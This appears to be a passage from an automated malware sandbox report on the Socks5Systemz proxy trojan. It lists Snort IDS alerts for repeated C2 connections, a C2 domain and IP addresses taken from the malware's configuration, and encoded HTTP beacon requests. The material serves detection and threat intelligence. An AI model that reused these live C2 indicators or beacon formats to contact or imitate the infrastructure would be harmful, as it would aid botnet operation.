Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49753 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49753 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49754 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49754 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49755 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49755 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49756 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49756 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49757 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49757 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49758 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49758 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49759 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49759 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49760 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49760 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49761 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49761 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49762 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49762 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49763 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49763 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49764 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49764 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49765 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49765 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49766 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49766 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49767 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49767 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49768 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49768 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49769 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49769 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49770 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49770 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49771 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49771 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49772 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49772 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49773 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49773 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49774 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49774 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49775 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49775 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49776 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49776 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49777 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49777 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49778 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49778 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49779 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49779 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49780 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49780 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49781 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49781 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49782 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49782 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49783 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49783 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49784 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49784 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49785 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49785 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49786 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49786 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49787 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49787 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49788 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49788 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49789 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49789 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49790 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49790 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49791 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49791 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49792 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49792 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49793 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49793 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49794 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49794 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49795 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49795 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49796 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49796 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49797 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49797 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49798 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49798 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49799 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49799 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49800 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49800 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49801 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49801 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49802 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49802 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49803 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49803 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49804 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49804 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49805 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49805 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49806 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49806 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49807 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49807 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49808 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49808 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49809 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49809 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49810 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49810 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49811 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49811 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49812 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49812 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49813 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49813 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49814 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49814 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49815 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49815 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49816 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49816 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49817 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49817 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49818 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49818 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49819 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49819 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2049467 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 192.168.2.4:49820 -> 45.142.214.240:80
Source: Traffic	Snort IDS: 2050112 ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 192.168.2.4:49820 -> 45.142.214.240:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: bvuppwf.com

Source: global traffic

TCP traffic: 192.168.2.4:49737 -> 88.80.148.19:2023

Source: Joe Sandbox View	IP Address: 88.80.148.19 88.80.148.19
Source: Joe Sandbox View	IP Address: 45.142.214.240 45.142.214.240

Source: Joe Sandbox View

ASN Name: ALEXHOSTMD ALEXHOSTMD

Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c645db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ffe16c1ec909e3b HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
